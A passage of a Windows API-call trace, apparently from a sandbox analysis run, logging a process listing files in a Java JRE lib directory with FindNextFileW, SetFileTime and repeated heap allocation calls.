ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib" (normalized: "c:\\program files (x86)\\java\\jre7\\lib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.141] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0088.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.142] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0088.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.142] NtClose (Handle=0x164) returned 0x0 [0088.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0088.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0088.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e1c8 [0088.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e250 [0088.143] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0088.144] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.145] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="")) returned 1 [0088.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcc48 [0088.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e360 [0088.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.147] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="alt-rt.jar", cAlternateFileName="")) returned 1 [0088.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcc68 [0088.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e3e8 [0088.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="")) returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcc88 [0088.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.150] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0088.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcca8 [0088.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e608 [0088.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.152] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="")) returned 1 [0088.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bccc8 [0088.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e690 [0088.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.154] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0088.154] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="")) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcce8 [0088.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e718 [0088.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.155] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="")) returned 1 [0088.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcd08 [0088.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e7a0 [0088.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0088.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcd28 [0088.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e828 [0088.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.159] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0088.159] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="")) returned 1 [0088.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.159] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcd48 [0088.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e8b0 [0088.160] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.160] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="")) returned 1 [0088.160] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcd68 [0088.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e938 [0088.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.162] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="")) returned 1 [0088.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcd88 [0088.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e9c0 [0088.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0088.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1 [0088.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0088.164] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="")) returned 1 [0088.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcda8 [0088.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ea48 [0088.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.165] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0088.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcdc8 [0088.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ead0 [0088.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8480) returned 0x1322698 [0088.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0088.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.167] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0088.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcde8 [0088.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124eb58 [0088.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.170] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0088.170] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0088.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 